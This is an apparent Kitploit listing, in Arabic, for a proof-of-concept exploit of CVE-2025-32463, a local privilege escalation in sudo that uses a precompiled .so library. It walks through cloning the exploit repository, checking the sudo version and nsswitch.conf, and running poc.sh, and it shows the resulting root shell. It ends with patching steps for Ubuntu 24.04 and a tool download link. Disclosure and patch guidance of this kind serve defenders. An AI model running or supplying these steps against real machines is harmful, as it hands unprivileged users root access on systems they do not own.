CVE-2025-32463 — # CVE-2025-32463 – استغلال رفع الامتيازات في Sudo (إثبات المفهوم) مع ملف .so مُجمَّع مسبقاً | Kitploit

CVE-2025-32463 – استغلال تصعيد الامتيازات في Sudo (إثبات المفهوم) مع مكتبة مسبقة التجميع

يحتوي هذا المستودع على استغلال إثبات المفهوم لـ CVE-2025-32463، وهي ثغرة تصعيد الامتيازات المحلية في sudo اكتشفها ريتش ميرش.

الإسناد

https://github.com/kh4sh3i/CVE-2025-32463

⚠️ إخلاء المسؤولية

هذا الاستغلال (PoC) هو لأغراض تعليمية واختبارية مصرح بها فقط. لا تستخدم هذا الكود على أنظمة لا تملكها أو ليس لديك إذن صريح بتقييمها.

🔧 المتطلبات

🚀 كيفية تشغيل POC

git clone https://github.com/zinzloun/CVE-2025-32463.git
cd CVE-2025-32463

تحقق مما إذا كان المستخدم الحالي لديه صلاحيات منخفضة

:~/CVE-2025-32463$ id
uid=1001(poc) gid=1001(poc) groups=1001(poc),100(users)

تحقق من المتطلبات

:~/CVE-2025-32463$ sudo --version
Sudo version 1.9.15p5
...
:~/CVE-2025-32463$ ls -al /etc/nsswitch.conf
-rw-r--r-- 1 root root 526 Feb 16 20:57 /etc/nsswitch.conf

تشغيل الاستغلال

:~/CVE-2025-32463$ chmod +x poc.sh && ./poc.sh
woot!
root@ubutes01:/# id
uid=0(root) gid=0(root) groups=0(root),100(users),1001(poc)

🚒 الإصلاح على Ubuntu 24.04 LTS

للأنظمة المتصلة فقط قم بتشغيل
```
sudo apt update && sudo apt upgrade
```
للأنظمة المعزولة عن الشبكة: يمكنك الحصول على أحدث حزمة sudo من هنا: https://github.com/sudo-project/sudo/releases/download/v1.9.17p1/sudo_1.9.17-2_ubu2404_amd64.deb. بعد نقل الحزمة إلى النظام المستهدف، قم بتشغيل:
```
 sudo dpkg -i sudo_1.9.17-2_ubu2404_amd64.deb
```

تنزيل الأداة